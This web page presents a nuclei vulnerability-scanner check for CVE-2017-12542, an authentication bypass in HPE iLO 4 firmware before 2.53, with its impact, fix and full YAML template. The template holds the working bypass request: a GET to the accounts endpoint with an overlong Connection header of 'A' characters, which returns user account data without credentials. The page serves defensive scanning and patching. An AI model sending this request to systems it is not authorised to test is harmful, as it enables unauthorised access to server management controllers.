HPE Integrated Lights-out 4 (ILO4) <2.53 - Authentication Bypass

criticalseverity

10CVSS score

99.3%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

HPE Integrated Lights-out 4 (iLO 4) prior to 2.53 was found to contain an authentication bypass and code execution vulnerability.

Impact

Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected system.

Fix

Upgrade HPE Integrated Lights-out 4 (ILO4) to version 2.53 or later to mitigate this vulnerability.

How to confirm it

Send: GET {{BaseURL}}/rest/v1/AccountService/Accounts
Positive when: contains "iLO User" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2017-12542 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-12542

info:
  name: HPE Integrated Lights-out 4 (ILO4) <2.53 - Authentication Bypass
  author: pikpikcu
  severity: critical
  description: HPE Integrated Lights-out 4 (iLO 4) prior to 2.53 was found to contain an authentication bypass and code execution vulnerability.
  impact: |
    Successful exploitation of this vulnerability allows an attacker to bypass authentication and gain unauthorized access to the affected system.
  remediation: |
    Upgrade HPE Integrated Lights-out 4 (ILO4) to version 2.53 or later to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/44005
    - https://nvd.nist.gov/vuln/detail/CVE-2017-12542
    - https://support.hpe.com/hpsc/doc/public/display?docId=emr_na-hpesbhf03769en_us
    - https://www.exploit-db.com/exploits/44005/
    - http://www.securitytracker.com/id/1039222
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cve-id: CVE-2017-12542
    epss-score: 0.99294
    epss-percentile: 0.99938
    cpe: cpe:2.3:o:hp:integrated_lights-out_4_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: hp
    product: integrated_lights-out_4_firmware
  tags: cve,cve2017,ilo4,hpe,auth-bypass,edb,hp,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/rest/v1/AccountService/Accounts"

    headers:
      Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "iLO User"

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from